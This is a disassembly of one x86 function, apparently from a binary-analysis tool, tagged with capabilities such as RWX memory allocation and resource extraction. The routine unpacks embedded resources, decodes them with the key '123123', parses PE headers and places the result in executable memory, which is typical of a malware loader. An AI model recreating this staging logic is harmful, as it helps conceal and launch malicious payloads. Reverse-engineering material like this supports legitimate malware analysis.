Function at 0x402820
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
mov dword [ebp - 0x64], 0x36
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x60], 0x98
xor eax, eax
mov word [ebp - 4], ax
mov dword [ebp - 0x2c], 0
push 2
push 1
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4028a6
mov ecx, dword [ebp - 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x40289d
mov edx, dword [ebp - 0x44]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x2c], eax
jmp 0x4028a4
xor eax, eax
jmp 0x402b1b
jmp 0x4028ad
xor eax, eax
jmp 0x402b1b
push 0xa
push 1
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
je 0x4028f1
mov eax, dword [ebp - 0x48]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
je 0x4028e8
mov ecx, dword [ebp - 0x4c]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edx, dword [eax]
mov dword [ebp - 0x28], edx
jmp 0x4028ef
xor eax, eax
jmp 0x402b1b
jmp 0x4028f8
xor eax, eax
jmp 0x402b1b
mov eax, dword [ebp - 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 0x28]
mov dword [ebp - 0x38], ecx
push 4
push 0x3000
mov edx, dword [ebp - 0x38]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x20], 0x28
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
jmp 0x40294d
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x28]
jae 0x402a6e
push 2
mov eax, dword [ebp - 0x1c]
add eax, 1
movzx ecx, ax
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4029a3
mov edx, dword [ebp - 8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
je 0x40299a
mov eax, dword [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x2c], eax
jmp 0x4029a1
xor eax, eax
jmp 0x402b1b
jmp 0x4029aa
xor eax, eax
jmp 0x402b1b
push 4
push 0x3000
mov ecx, dword [ebp - 0x14]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.00403310
add esp, 0xc
mov edx, dword [ebp - 0x24]
add edx, 4
push edx
call fcn.004027d0
add esp, 4
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x30], 0
jmp 0x4029f8
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 0x54]
jae 0x402a48
mov dword [ebp - 0x34], 0
jmp 0x402a12
mov edx, dword [ebp - 0x34]
add edx, 1
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x54]
jae 0x402a46
push 3
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x18]
push edx
call fcn.00403310
add esp, 0xc
mov eax, dword [ebp - 0x18]
add eax, 3
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x20]
add ecx, 3
mov dword [ebp - 0x20], ecx
jmp 0x402a09
jmp 0x4029ef
mov dword [ebp - 0x20], 0x28
push 0x8000
push 0
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x60]
mov dword [ebp - 0x18], eax
jmp 0x402944
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x10]
push edx
push 0x407214
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.123123
call fcn.00403460
add esp, 0x10
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x10]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
movzx ecx, word [eax + 0x14]
mov edx, dword [ebp - 0xc]
lea eax, [edx + ecx + 0x18]
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx + 6]
sub edx, 1
imul eax, edx, 0x28
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx + 6]
sub edx, 1
imul ecx, edx, 0x28
mov edx, dword [ebp - 0x58]
mov eax, dword [edx + eax + 0x14]
mov edx, dword [ebp - 0x58]
add eax, dword [edx + ecx + 0x10]
mov dword [ebp - 0x40], eax
push 0x40
push 0x3000
mov eax, dword [ebp - 0x40]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x5c]
push eax
call fcn.00403310
add esp, 0xc
push 0x8000
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0x5c]
mov esp, ebp
pop ebp
ret